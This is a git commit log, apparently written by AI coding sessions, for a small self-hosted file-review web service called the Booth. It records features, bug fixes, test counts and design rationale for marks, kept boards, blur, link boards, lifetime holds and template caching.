`_newest_mtime` already counts it. There is no new arithmetic — `booth_age_seconds`,
`is_expired` and `expires_in` are unchanged. Machine reads are excluded on
purpose: an agent must not be able to hold its own booth open by polling for
the answer it is waiting on.
The hold is unbounded, and what makes that safe is visibility plus two exits
that already existed. Every surface whose chrome the Booth owns says
`held until answered` where the countdown was, and `booth rm` / the UI x /
`DELETE /b/<n>` take a held booth exactly as they take a kept one. A hold is
protection from the timer, never from the operator.
Three cross-frontier panels ran and each found a class the others could not:
* the paraphrase panel found that two reads of one file are not one read of
one state — the contract's `is_held(marks_for(c), read_error(c))` could
resolve to `([], None)`, the pair that deletes. `hold_read` is one read.
* the code-review panel found, 4-of-4, that the booth header's board branch
rendered no lifetime at all; and that five of seven invariant tests passed
under the change that defeats them.
* the bug-hunt panel found four more paths where a failed read still
authorized a delete, and a `record_view` that followed a planted symlink.
`is_held` became `hold_reason`, which returns the reason rather than a bool
beside a string that can disagree with it.
Prediction, to re-count on or after 2026-10-06: the `.forever` rate falls to
the booths that are genuinely durable references. Only 4 booths carry marks at
all, so this rests on both halves of the unit; a null result cannot distinguish
a wrong diagnosis from a habit that outlived its need.
406 tests (341 before). Contract: docs/contracts/u4_derived_lifetime.contract.md
|
||
|
|
70fb15886b |
memory: snapshot — U1 and U2 released at v0.2.1, U5 next
Records what this session learned that the code does not say on its own: the read-lenient/write-strict asymmetry and why pointing both at one reader silently collapses them; that the seam review and the cold contract panel had zero overlap in BOTH directions on one unit, so neither substitutes for the other; that every code-changing panel finding came from the ambiguity pass rather than the paraphrase; and the timing lesson that a tag waits for an outstanding gate. In-flight is set up for U5 with the two things already settled about it, so the next session does not re-derive them: .booth.json is a dotfile and so is already excluded by booth_items, and the deterministic-order invariant applies to whatever it adds to the index card. No version bump — memory snapshot, on the SemVer skip list. |
||
|
|
a0448bdc24 |
fix(booth): list the deprecated asks alias in the usage string
Reported by draupnir. The v0.2.0 note told consumers the alias survives, and the usage line is exactly where a session checks that claim — a deprecated-but-live verb that is invisible at its own discovery surface reads as removed. |
||
|
|
5e41108cd3 |
fix(marks): a write over a damaged mark file was wiping the booth's judgment
Three defects and a missing test, all surfaced by the cross-frontier contract panel dispatched before implementation and triaged after it (heid, four arms, artifact-only, thread 01M33VSNFER4N1554G0Y0VC9C8). v0.2.0 was already tagged and announced to fifteen handles when they landed, which is the argument for running the gate at all. DATA LOSS. `marks_for` is deliberately lenient — an unparseable `.marks.json` reads as "no marks" so a review page still loads. The write path inherited that leniency through the same reader, so one flag click appended a single entry to an empty list and atomically replaced the file: every mark in the booth gone, silently, from a click. Reproduced first, then fixed. The fix is an asymmetry, not a retreat from leniency. Reads stay lenient; writes go strict through `_read_raw_strict`, which distinguishes bytes-present-but- unreadable from absent and valid-but-empty, and raises `MarksCorrupt`. The damaged bytes are left on disk. Routes answer 409 rather than 500 — the service is fine and the request was well-formed, the state on disk is not — and the body says what to do, because the alternative the operator reaches for otherwise is deleting the file, which is the thing being protected. The CLI says it in one line instead of a traceback. A PICK COULD NOT TARGET AN ITEM. `Mark.target` carried one, `marks_for_target` retrieved by it, and the panel already rendered "on <item>" — but `declare_pick` had no parameter for it, so no session could produce one. A question about one artifact is the whole point of the 2026-09-09 inline-placement ruling; the door was simply missing. THE IMPORTER STRANDED AN ANSWER. A stem already present as a mark was skipped wholesale. If a session had re-declared that stem through marks while the operator's choice sat in the legacy sidecar, that choice was lost permanently — reads are forbidden from looking at sidecars. The declaration is still skipped (idempotence holds) but a legacy answer is now adopted when the existing mark is an unanswered pick, and an answer made through marks is never overwritten. INV-3 NAMED A SURFACE NOTHING TESTED. All four arms converged on it: the rule protects gallery tile, zoom view and doc view; the falsifiable check covered one. The doc view was implemented and untested, so shipping it unmarked would have passed. Three tests now, one per surface. The contract carries the full triage, including two findings accepted and NOT closed: INV-2's and INV-5's checks comply in letter — openness can be re-derived without spelling the grepped pattern, and importlib inside a function defeats the AST walk. Both describe a future careless change, and the honest statement is that these checks raise the cost of drifting rather than making it impossible. Recorded rather than papered over. Also pins the three prose ambiguities the panel found, normatively and once each: what counts as open, the three distinct broken-declaration cases, and INV-6, which had named a helper that does not exist and forbidden the calls that helper must make. 253 tests. |
||
|
|
54c1e7c60f |
feat(marks)!: v0.2.0 — marks replaces asks, and the CLI surface moves with it
The release that closes U2. Consumers have to adapt, which is what makes this a
minor rather than a patch: three things a scripted session can notice.
* `booth asks <name>` now emits JSON, not the old aligned human table.
Anything parsing those columns breaks. `booth marks <name>` is the name to
use; `asks` survives as a deprecated alias for the muscle memory.
* Polling `http://…/b/<n>/<stem>.answer.json` will 404 forever. There is no
per-question answer sidecar any more. `GET /b/<n>/marks.json` replaces it and
answers for the whole booth in one request — including an `open` list.
* `#ask-<stem>` page anchors are now `#mark-<id>`, and `/b/<n>/asks` 308s to
`/b/<n>/marks`.
What a session GAINS: the operator can now attach a note to any item or to the
booth, and flag individual items — both readable with `booth marks`. Selecting
winners out of a set used to be a chat message.
Nothing a session already wrote is lost. Legacy `*.ask.json` / `*.answer.json`
sidecars are imported by `booth marks-import <name>`, idempotently, and are
never deleted.
No lockfile step: this repo tracks none (uv.lock is gitignored, 790d5ba).
|
||
|
|
bb1e3cfcd7 |
fix(booth): templates were hot-reloading into a live service running older Python
19 of 25 live booths returned 500 with `UndefinedError: 'item_marks' is undefined`. Neither the old code nor the new code was broken — the service was running both at once. `booth.service` sets WorkingDirectory to this repo, so the repo IS the deployment root: no build step, no staging copy, the live service imports these files. Python is read once when the process starts. Jinja's FileSystemLoader re-reads a template on EVERY render. So the two halves of the service had different staleness rules, and editing booth.html deployed it instantly against Python from 22:03 that had never heard of the context the new markup wanted. The failure mode is worth naming precisely, because it is invisible to the suite by construction: the skew exists between a running process and the disk underneath it, so every test can pass against a tree that is simultaneously serving 500s. No amount of green catches this. The operator found it. Fixed at the source rather than with a reminder to restart. The template Environment is built here with auto_reload=False, so templates are cached at startup exactly like the Python, and there is ONE rule: nothing takes effect until you restart. The price is that template work needs a restart to see — that price is the entire point, and it is cheaper than a page of 500s while someone is reviewing. Building the Environment by hand means autoescape no longer comes from the Jinja2Templates constructor, so it is explicit and load-bearing: booth names, item names and mark text are all agent- or operator-authored strings that land in HTML. Verified escaped, not merely configured. Two tests hold the line — one on the snapshot property, one on the `dur` filter that is no longer incidental to the constructor. The environment is reachable at app.state.templates because a promise about the deployed service needs an assertion, and an assertion needs the env the app actually renders with. Also records the foot-gun in CLAUDE.md and persistent-memory: anyone editing this repo while the operator may be using the service is editing production. 244 tests. No version bump — the release tier for U2 is still the operator's call, and this rides with it. |
||
|
|
c7f9437a64 |
feat(marks): one primitive for operator judgment, so the loop stops running through chat
Five mechanisms existed to get one question next to one artifact. Three of
them were the same thing wearing different clothes, and the third of the three
had no code at all: the operator picked winners out of a 270-image set and
told the session in conversation. `sindra-finalists` is 86 items, every one
captioned, with the selection encoded in the booth's NAME.
A MARK is operator judgment attached to a target — the booth, or one item in
it, addressed by the `rel` U1 established as item identity. Three shapes:
pick — one of N options a session declared in advance (was: an ask)
note — free text the operator volunteered (had nothing)
flag — this one (had nothing)
One file per booth, one read path, one place openness is computed, one slot
beside the artifact. The storage shape is the operator's call (2026-09-21) and
follows from U4: "does this booth still owe an answer?" gets asked per booth
per sweep tick and per card per index render, so it has to be one read and not
a walk of a booth holding 270 files. Marks are also not links.md — that is an
O_APPEND content-hash log because 17 handles write it concurrently, whereas a
booth's marks see one session and one operator, so locking the common path
costs nothing.
The 2026-09-09 pick semantics are preserved by NOT rewriting them: partial
answers legal, a blank question lands in `unanswered`, `complete` false until
every question has a pick, the only refusal a submission carrying nothing.
`write_answer` split into the pure `build_answer` plus the storage that went
away with the sidecar; `normalize_ask` untouched.
Three findings worth naming, because each was caught by a gate rather than by
reading the diff again:
* The seam review found `inline.place` indexes asks by SUBSCRIPT — the only
consumer in the service that does — so a frozen dataclass breaks it, and
`inline.py` had been missing from the contract's scope entirely.
* A retargeted test found a regression in the legacy importer: a malformed
sidecar that renders "broken" today would have silently vanished on
migration. It now imports carrying its reason.
* A partially-answered pick counted as CLOSED on the index while the panel
beside it rendered it "partial" — the two disagreed about one booth. Open
is the reading U4 needs, and it is declared rather than smuggled in.
`GET /b/<n>/marks.json` is new and load-bearing: sessions on other hosts polled
`<stem>.answer.json` over HTTP, so removing the sidecar without it would have
taken that capability away. `/b/<n>/asks` 308s to `/marks`. Legacy sidecars are
imported, never deleted — four are live and unanswered.
Also records the operator's deterministic-order directive as a cross-cutting v1
invariant, in ROADMAP.md with the per-collection rule table and as CLAUDE.md
invariant 6. The Booth's job is comparison; an order that moves between renders
does not crash, it misfiles the judgment.
242 tests. No version bump — a release tier for this is the operator's call.
|
||
|
|
9272c9872e |
docs: the conventions a fresh session can't infer, and the state it can't reconstruct
The repo came out of eshpfi one day ago with neither piece of its house
furniture, so everything non-obvious about it lived in docstrings inside a
998-line app.py — which is a bad place to keep an invariant that breaks
silently on every fleet host when someone violates it.
CLAUDE.md carries the five that do exactly that:
* links.py and asks.py are stdlib-only because scripts/booth imports them
under the system python3 with no venv, so one third-party import breaks
`booth ask` everywhere and fails in an agent's session, not in ours
* the filesystem is the state, and booth_items()'s dotfile skip is why a
per-booth dotfile is the right shape for new operator state
* booth_items() is the only thing that classifies a file or resolves a
caption (U1's INV-1) — the zoom-loses-the-annotation bug was three
readers of one truth, not a rendering bug
* moved names stay importable from booth.app, asserted by a test
* sidecar writes are atomic; render_doc returns raw text on purpose
Plus the distinction that decided this session's storage call: links.md is
an append log because 17 handles write it concurrently, and marks have one
writer. Different problem, different shape — ask which you have first.
persistent-memory.md carries what CLAUDE.md is structurally unable to: the
dated decisions, the `.forever` prediction and its re-measure date, and the
foot-gun log. Two entries are load-bearing for the next unit — the settled
mark storage shape with the reasoning that picked it, and a measured
correction to U7's premise: every booth that actually needs navigation is
flat, so subfolder sections are worth shipping but are not the nav fix.
No version bump — docs and memory, both on the SemVer skip list.
|
||
|
|
ce598b3cf6 |
feat(items): one item record, so an annotation survives the zoom
The operator reported that zoomed-in images lose their annotations. That was
never a rendering bug. Three functions independently walked a booth and derived
overlapping subsets of the same facts -- build_gallery (kind, caption, blur,
doc), booth_view_file (kind, doc, image ring) and list_booths (kind counts,
cover) -- and the zoom route's subset was the smallest. Caption resolution lived
inside build_gallery's loop and nowhere else, so there was no code path by which
a caption could reach the zoom template. It was never sent.
booth/items.py is now the one truth: booth_items() returns the full record --
rel, kind, section, caption, blur, doc kind, size -- and the gallery, the zoom
view, the doc view and the index all read it. Patching view.html would have
fixed the symptom for images and left the next surface starting from the same
missing truth.
Two things fall out of the consolidation:
- the index and the booth page now agree on what an item IS. list_booths
counted every non-dot file, so an A/B pair with two caption sidecars read
as 4 items on the index and showed 2 tiles when you opened it.
- "section" (the item's subfolder) is computed and carried but nothing renders
it yet. That is deliberate: it is U7's whole input, and shipping the field
now makes U7 a template change rather than a resolver change.
Doc bodies are NOT rendered by the resolver -- the index touches every booth on
every page load, and rendering every markdown file in every booth would be the
price of that convenience. render_doc_body is a separate step for the one
surface that inlines them; an invariant test monkeypatches it to raise and
loads the index.
Verified beyond the suite, because this repo has shipped two dead controls that
every test passed: the caption was measured in a real browser at 1280x41 px,
visible, with elementFromPoint at its centre returning the caption itself.
layout-probe reports all controls hittable across index, gallery, zoom and doc.
192 tests pass (173 before, 19 new).
Contract: docs/contracts/u1_item_record.contract.md
|
||
|
|
726822b2b9 |
docs: the information architecture, and a v1 target to gate it against
The Booth was built as a file-shuttle on a whim and turned into the fleet's operator-review surface without anyone deciding that. This is the decision, written down, with the measurement that forced it. The defect behind every bolt-on: one lifetime and one shape serving five jobs. Five separate mechanisms exist to put one question next to one artifact. Numbers that drove the model, taken against the live service: - 211 link rows, 145 (69%) pointing at booths that no longer exist - 22 rows that are the same bench re-posted (talk 5x, peedlar 4x) - 13 of 24 booths (54%) on the .forever escape hatch - 270 images rendered as one flat wall, subfolders discarded at render - 5 commits in one day to ship the asks primitive Four nouns replace the accretion: booth (derived lifetime), item (one record), mark (pick/note/flag -- asks, comments and votes were always one thing), and bench (a registry, not an append log). v1 is seven capabilities, each closing a measured defect. Compare mode is the best idea in the set and is parked anyway, because it is the only one that is a new capability rather than a fix. |
||
|
|
5f2c9a6a60 |
fix(booth): release was painting over the delete ×, which was unclickable
Operator: "release button covers delete button". Measured before touching
anything: release 58x24 at (323,266), × 30x30 at (349,268) — 30x22 px of
overlap on a 30px button, and `elementFromPoint` at the ×'s centre returned the
release form. The × I added yesterday was 100% unclickable from the moment it
shipped.
Cause: both were `position:absolute` on the same corner, each with its own
guessed offset, and `release` is the later sibling so it won. Replaced with one
flex row positioned once — release left, × right at the card corner where the
ephemeral lane's × already lives, so muscle memory transfers and neither can
drift back on top of the other when a label changes width.
Verified by measurement, not inspection: overlap 0 px, and clicks at each
control's centre now land on that control. The ephemeral lane's × and ★ were
re-checked and are unaffected.
ADDS scripts/layout-probe.py, because markup inspection STRUCTURALLY cannot see
this and I have now shipped two dead controls in two days by reading templates
instead of rendering them. It asks a real browser what a click at each
control's centre would hit.
It took four iterations to become trustworthy and the failures are the point:
1. `top.contains(el)` counted an ANCESTOR overlay as a hit -- the exact case
it exists to catch. Version one reported OK for a real overlay.
2. elementFromPoint is viewport-relative, so everything below the fold read
as occluded and buried the real findings.
3. getBoundingClientRect() on a WRAPPED INLINE element is the union of its
line boxes, whose centre lands in the gutter between them -- three zip
links reported occluded by their own parent. Real geometry, wrong question.
Only the fourth version fires on a genuine overlay while staying silent on the
clean page. Both controls were run; a probe never seen to fail proves nothing.
173 tests pass.
|
||
|
|
21f4afc033 |
fix(booth): the reveal button was inert; add kept-lane wipe and in-booth keep
Three operator reports, one of them a real defect I had claimed was working. THE REVEAL BUTTON DID NOTHING, for a day. Its handler sat after the content block's closing tag, and a child template's out-of-block content is silently DISCARDED by Jinja. The button rendered. The handler never reached the browser. Two commits and a README paragraph said click-to-reveal worked, and the suite passed the entire time because nothing asserted against the SERVED page -- the template really did contain the code. Two guards, both confirmed to FAIL when the defect is reintroduced rather than merely added and assumed protective: * test_reveal_handler_actually_reaches_the_served_page greps the response * test_no_orphaned_markup_after_the_content_block guards the structure While moving it, caught a second instance of the same class: the explanatory comment I wrote for the fix contained a literal Jinja endblock tag, which Jinja would have parsed as a real tag and used to close the block early. KEPT-LANE ×. Wiping a kept booth required release-then-find-it-in-the-other- lane. That protected nothing and cost a hunt -- the board you just released is loose in a feed that turns over, and you have to go find it to finish a job you had already decided on. Protection now lives in the confirmation, which names the booth and says KEPT, instead of in the number of lanes you must traverse. Release stays as the reversible option. IN-BOOTH KEEP. `☆ keep` / `★ kept — release` beside "Wipe now", so promoting does not mean navigating back to the index. The booth page did not previously know its own kept state; it does now. Both post a `next` field to stay put -- and `next` is a form field, so it is attacker-controlled: only same-site absolute paths are honoured, with `//host`, schemes and backslashes refused, tested. 173 tests pass. |
||
|
|
59ba9f5c10 |
fix(booth): put the blur toggle on every item kind, and make it look like a control
The operator asked "no UI option to blur/unblur?" and was right twice over. MISSING ENTIRELY ON TWO OF THREE BRANCHES. booth.html renders docs, media and everything-else through separate <figure> blocks. The toggle went into the media branch only, so inline docs -- the branch that puts readable text straight on the page, the one that needs blur most -- had no control at all, and `other` files only got a caption row if they happened to carry a caption. This is the SECOND time this feature shipped having patched some branches and not others; the blurred class itself had the same gap one commit ago. So the toggle is now a single Jinja macro called from all three sites, which makes "patched two of three" impossible rather than merely unlikely, and test_every_item_kind_gets_exactly_one_blur_toggle counts toggles against figures across mixed kinds so a fourth branch cannot quietly skip it. INVISIBLE WHERE IT DID RENDER. v1 was a bare `◌` at 0.78rem in --muted with no border, no label and no hover affordance. It now reads `◌ blur` / `◉ blurred` with a border, matching the other per-item controls. A control nobody can find is a control that is not there. Docs get it in the doc bar beside ⤢ ⬇ ✕, with stopPropagation so submitting it does not collapse the <details> it lives inside. Verified live on all three kinds: 3 figures, 3 toggles, and the POST round trip blurs and un-blurs. 167 tests pass. |
||
|
|
b569a5bb50 |
feat(booth): close the keep round trip, and add cosmetic per-item blur
Two operator requests.
KEEP, BOTH DIRECTIONS. The kept lane could already release a booth back to
ephemeral, but an ephemeral booth could only be promoted from a shell -- so the
round trip was closed only if you had ssh. The /keep route and the `booth keep`
verb both already existed; only the button was missing. Adds ★ to the ephemeral
card, mirroring × on the other shoulder.
BLUR. Per-item cosmetic censoring: `booth blur <name> <file>...`, a ◌/◉ toggle
in each caption row, and 👁 click-to-reveal. State is `.blurred` in the booth
dir, one booth-relative path per line -- the same filesystem-is-the-state idiom
as .pins and .forever. An empty set deletes the marker rather than leaving a
zero-byte file, so `ls -a` tells the truth.
⚠ BLUR IS NOT ACCESS CONTROL, and the code, the docs and a test all say so on
purpose. A blurred item is still served at its own URL, still in the zip, still
on disk. The Booth has no auth by design. test_blur_is_cosmetic_the_file_is_
still_served asserts the 200 deliberately: if someone later "hardens" this into
a 403 that test fails, and it should, because half-implemented access control is
more dangerous than none.
Reveal is per-viewer and never persisted; a reload re-hides. With JS off an item
stays blurred, which is the safe direction to fail in.
Two things the first pass got wrong, both caught by checking rather than
assuming:
* The cover thumb. index.html has IDENTICAL markup in the kept and ephemeral
lanes, so a single-occurrence replace patched only the kept one and the
ephemeral front page happily displayed the thing someone had hidden. The
test that caught it was itself wrong first -- it matched the bare string
"blurred-thumb", which is in base.html's stylesheet on every page and so
passed in both states. It now asserts the attribute.
* Inline docs render through their own <figure> branch and were left
unblurred -- the branch that puts readable text straight on the page, so it
needed blur more than images do. The suite passed; a live curl caught it.
165 tests pass (154 pre-existing, unchanged).
|
||
|
|
88d3cf436e |
fix(booth): a partial ask answer is recorded, not refused
Operator: the form failed when a question was left blank. Refusing the whole submission over one blank threw away the picks that were made, and the HTML `required` on the radios blocked it in the browser before the server saw it. - answered questions recorded; blank ones land in `unanswered`; `complete` says whether the set is finished; a blank question carrying a note keeps the note - `required` dropped from both templates so the browser cannot block a partial - refused only when there is no pick anywhere AND no notes (a 400 — that would flip an open ask to answered with no decision recorded); a choice outside the option list is still an error - new ◐ partial state with an n/N count; skipped questions render as skipped - README + global CLAUDE.md tell reading sessions to check `complete` - 154 tests; v0.1.15 |
||
|
|
6d36119bc5 | docs(booth): record WHEN inline ask placement earns its markup — the artifact-in-working-memory test, not just the placement rule (framing from tts-dev) | ||
|
|
2206229ebf | docs: refresh what today's work made stale — booth asks (inline placement promoted to its own section), ana-ml2 nvme7 settled by the scrub result, nh3-dev booth entry + the CLI-on-PATH fix, run-07 runbook outcome + serving state | ||
|
|
d7361e8b44 |
feat(booth): asks render INLINE in a verbatim report, placed by the author
Operator verdict on the separate /asks page: the question belongs with the artifact it is about. A four-voice audition wants each voice's radio group under that voice's audio, and one submit for the lot. - booth/inline.py: data-booth-ask="stem" | "stem:key" | data-booth-ask-submit, plus <!-- booth:ask ... --> comments; unknown stem left alone, not blanked - _ask_inline.html: self-contained fragments (own scoped styles, no JS), per-question groups bound to one form via the HTML5 form= attribute so a scattered multi-question ask still POSTs once - unplaced questions and a missing submit block are appended, so a partially marked-up page can never produce an unsubmittable 400 - chip becomes a jump link to the first open ask; /asks page kept as a fallback - 6 tests (one caught the partial-placement drop); v0.1.14 |
||
|
|
f99faabb80 |
fix(booth): asks were invisible in a booth serving its own index.html
A custom index.html is returned verbatim, so booth.html's asks panel never rendered there — a valid ask (emmie-anchor/anchor.ask.json) was listed by the CLI and shown nowhere, with nothing to say so. - panel extracted to _asks.html; new GET /b/<name>/asks standalone page - verbatim pages get an amber '? N open asks' chip beside the back chip - POST /answer honours back=asks so answering returns to that page - single-question asks now keep an optional 'title' (was silently dropped) - README + routes table; 8 regression tests; v0.1.12 |
||
|
|
047749c3cf | fix(booth): CLI resolves its source through the ~/.local/bin symlink (readlink -f), so ask/asks/answer/unlink work from any cwd | ||
|
|
125a1b7fc5 |
feat(booth): multi-question asks — a questions list renders one form with a radio group per question and lands as one answer sidecar keyed by question
- asks.py: single {prompt, options} and multi {title, questions:[{key, prompt, options, notes?}]} both normalise to questions[]; per-question notes; every question required on submit
- /answer reads choice.<key> / notes.<key> / notes for multi; single shape unchanged
- booth asks prints per-question picks; README + CLI header; install step symlinks the CLI to ~/.local/bin; v0.1.10; 135 tests
|
||
|
|
97589dd062 |
feat(booth): asks — a multiple-choice question a session poses in a booth, answered by the operator as a radio form + notes, written back as an answer sidecar
- booth/asks.py (stdlib): <stem>.ask.json question / <stem>.answer.json answer; normalise+validate, atomic write, list with answer folded in, broken asks surfaced not hidden - POST /b/<name>/answer: validates choice against the ask (400), unknown stem 404, re-answer overwrites - booth.html asks panel above the gallery; amber open / green answered; JS-off form POST; index card + booth header badge for open asks - CLI: booth ask / asks / answer [--wait [SECS]]; remote sessions poll <stem>.answer.json over HTTP - ask/answer files excluded from gallery items and item counts; 23 tests; v0.1.9 |
||
|
|
8060f8cb9a |
feat(booth): pin/favorite, multi-select delete, newest-first link board
The standing link board grew from a flat oldest-first list with a per-row × into a manageable board: newest links lead, favorites stay on top, and several dead links can go in one pass. - Ordering: order_for_display() renders pinned rows first, then newest-first within each group (the board is an append log, so newest = most recently posted — the row you usually came to grab). - Pin/favorite: a per-row ★ toggles pinned state via POST /b/<name>/pin. State lives in a .pins sidecar dotfile (one content id per line), NOT inline in links.md — so links.md stays a pure atomic-append log (many sessions post concurrently) and a row's content id never changes just because it was pinned. remove_link_entry drops a removed row's pin; orphaned pins are inert (renderer only stars a live id). - Multi-select delete: checkboxes feed POST /b/<name>/unlink-many (repeated 'sel' content ids), with a select-all box and a live count. The per-row × stays for single removal. - One <form> with formaction buttons, so checkboxes, ×, ★, and bulk delete coexist without nested forms AND all work with JS off; JS only adds select-all and the live count. Per-row × confirm reads desc/url from data-* attrs, so an arbitrary posted description can't break into the JS. - Every action is keyed by content id, never row position — same race-safety the existing × has, extended to the bulk path. - Fixed pre-existing undefined --fg/--bg CSS refs in the board styles. Tests: +19 (pins round-trip, ordering, orphan-inert, remove-unpins, /pin and /unlink-many endpoints, board render + order). Full suite 102 passing. Deployed to nh3-dev booth.service; verified live (newest-first, pin round-trip, bulk delete) against the real 31-row board with no data loss. |
||
|
|
22ec06fcaa |
feat(booth): per-row link removal + render the link board as real UI
The standing link board is the one MULTI-WRITER booth -- every agent session appends operator-facing URLs to it. "Delete the folder" was the only granularity available, so removing one dead link meant hand-editing markdown. It is 32 rows and only grows. booth links row number, entry id, raw row booth unlink 3 by row number booth unlink 8b40e0a5 by entry id (what the UI's x posts) POST /b/<name>/unlink form field `entry` = content id ROWS ARE ADDRESSED BY CONTENT ID, NEVER BY POSITION. The board is append-only and multi-writer: another session can post between listing it and clicking x, and an index would then delete a neighbour. An id either matches the row you saw or matches nothing. A row number typed at the CLI is resolved to its id BEFORE anything is deleted. Appends and prunes now take the same flock on .links.lock, so a post cannot be lost inside a prune's read-modify-write. UI: a booth carrying links.md renders as rows -- description, URL, provenance, copy button, per-row x -- instead of a markdown blob. links.md is filtered out of the gallery so it does not appear twice; the header counts LINKS not files; the empty-state and the one-click "Wipe now" both stand down for a board (same rule as the kept lane: nothing durable is one click from gone). booth/links.py extracted, STDLIB ONLY. The CLI needs this logic and must not require the service venv -- importing app.py drags in FastAPI, so deleting a line from a text file would have needed a web framework installed. THREE BUGS FOUND BY TESTING, all in the shell wrapper while the module was correct throughout -- module-only tests would have caught none of them: - `[ "$n" -eq 0 ] && echo ...` as the LAST statement made `booth links` exit 1 whenever the board had rows. `unlink`'s index lookup calls it inside $( ) under `set -e`, so a successful listing killed the caller and the removal silently did nothing while reporting success. - ids are 8 hex chars and roughly one in forty is ALL DIGITS; those were read as row numbers, resolved to nothing, and removed nothing. Now disambiguated by the id's actual shape, not by "is it numeric". - filtering links.md out of the gallery left `items` empty, so a full board rendered "This booth is empty" and an empty <div class="gallery"> under 32 visible rows. 87 tests (was 76): parser tolerance of hand-written prose, content-id stability across concurrent appends, removal precision, UI branch behaviour for board/normal/empty booths, and subprocess CLI tests pinning the two shell bugs. Deployed to nh3-dev and verified against the live 32-row board read-only; board file byte-identical afterwards. |
||
|
|
d88f235688 |
feat(booth): kept boards can be deleted from the UI; document the TTL-reset trap
Kept boards had no delete path in the UI at all. The kept lane deliberately omits the wipe control -- a one-click wipe next to the durable stuff is a footgun -- but "deliberate" had been implemented as "impossible": the only routes out were ssh or a hand-written API call. Now it is two deliberate acts. A `release` control on kept cards drops the sentinel, the board moves to the ephemeral lane, and the existing x wipes it from there. Release is reversible -- POST /b/<name>/keep pins it again. POST /b/<name>/unkeep release the pin POST /b/<name>/keep pin it (round-trip, so release is not a one-way door) FOUND WHILE TESTING, and it invalidates the previously-documented workaround: removing the sentinel BUMPS the booth directory's mtime, and booth age is the newest mtime in the tree -- so a released board's clock RESETS from 10,000s to 0s and it survives another full TTL. The old comment said "remove the sentinel first (it rejoins the sweep)", which is true but means the board lives another 24h, not that it gets reaped. Unkeep-and-wait is a delay, not a delete. test_releasing_a_board_RESETS_its_ttl_clock pins that behaviour deliberately so nobody re-derives the workaround. Release is what unlocks the x; the x is what deletes. CLI: `booth rm` already worked on kept boards but said nothing about it. It now announces "(was KEPT -- durable board)" so wiping something durable can never look identical to wiping run output. Not a block -- a CLI user naming a booth is being explicit. 5 new tests (67 pass). Verified live on nh3-dev: release renders on all four kept boards, the ephemeral lane keeps its x, and the links board is untouched with its sentinel intact. |
||
|
|
299b52458b |
feat(booth): render .md/.txt/.log inline in the gallery, collapsible + closable
Docs used to render as a clumsy link that navigated to a separate page. They now render in place: build_gallery pre-renders each doc (markdown -> HTML, plain text raw) and the gallery shows it inside a native <details open> disclosure that spans the full grid width so prose has a readable measure. The doc bar carries: a collapse chevron (the whole <details> summary toggles, works with JS off), a full-page link (still reaches the standalone viewer), a download link, and a session-close ✕. The ✕ needed stopPropagation + preventDefault because it lives inside <summary> — otherwise its click would toggle the disclosure instead of hiding the item. Close is JS (progressive enhancement); collapse is native. Two design points: - Plain text is returned RAW from build_gallery and escaped by the template inside <pre>. Pre-escaping in Python plus Jinja autoescape would double-encode angle brackets; a test pins the single-escape. - Inlining is bounded by DOC_MAX_BYTES. A doc over the limit keeps the old link-out behaviour rather than being rendered into every index load; a test covers the fallback. The shared .markdown-body / .textview typography moved from doc.html's scoped <style> into base.html so the inline body and the full-page view render identically; doc.html keeps only its page-layout wrapper. Updated the pre-existing test_gallery_links_docs_to_view: it asserted the old link-out behaviour the operator asked to change, so it now asserts the inline render plus the surviving full-page and download affordances. 61 pass. Verified live: markdown renders with headings/table/blockquote/code, txt preserves whitespace and single-escapes, collapse and ✕-close both work. |
||
|
|
95228299bc |
feat(booth): kept boards — a .forever sentinel and a standing link board
Agent sessions hand the operator URLs and they drown in terminal scrollback. The Booth is the right home for them — it already has the one property that decides adoption, which is that a session can publish with mkdir and cp, no API key, no schema, no deploy — but everything in it dies in 24h. So: a booth containing `.forever` is never swept, and renders in its own Kept lane at the top of the index. Opt-in per booth, so the ephemeral default is untouched and nobody inherits a cleanup chore. `rm` the sentinel and the board rejoins the sweep; the CLI verbs are sugar over exactly that, which keeps the filesystem-is-the-state model honest. The pin is deliberately NOT wired into is_expired(). That stays a pure age question feeding the `expires_in` countdown; only sweep_once() honours the sentinel. Keeping expiry arithmetic and reaper policy apart means they cannot drift into each other. Kept cards are visually separated per Australis: a 2px top edge in aurora blue, the one accent border the system sanctions. They show "kept" instead of a countdown, and they deliberately lose the one-click wipe button — a × next to the durable stuff is a footgun, so removing a kept board is a two-step act. `booth link <url> [description]` appends to the standing `links` board, creating and keeping it on first use. Entries carry provenance (handle or hostname, plus a timestamp) because a bare URL is unreadable three days later. The append is one printf of one line to an O_APPEND fd — atomic under PIPE_BUF on POSIX — which matters because many agents post to one board and interleaved half-lines would be the obvious failure mode. Seven tests cover the sentinel: detection, survival of a sweep that wipes its neighbour, the deliberate is_expired/sweep_once split, the listing flag, the sentinel not inflating item counts, and both lane-rendering directions. Two of them originally asserted on the bare strings "Kept" and "kept-grid", which passed for the wrong reason — those also appear in the inlined stylesheet served on every page — so they now assert the full class attribute. 55 pass. Also corrects the Homepage card's description, which advertised a flat 24h TTL that is no longer the whole story. |
||
|
|
36a79ff453 |
fix(booth): lazy-load gallery media — preload=none on video/audio
A booth of a dozen webms fetched them all at page load (preload=metadata still pulls real byte ranges per file); nothing loads now until the viewer hits play. |
||
|
|
6872e524de |
feat(booth): prev/next arrows in the image viewer
Zooming an image now shows ‹ / › arrows at the left/right edges that step to the previous/next image in the booth (gallery sorted-rel order), wrapping around, plus keyboard ←/→. Arrows are hidden when a booth has a single image. booth_view_file computes neighbors via a new booth_image_names() helper and passes prev_url/next_url to view.html. 3 new tests, suite 47 passing; deployed + verified live on nh3-dev :8090. |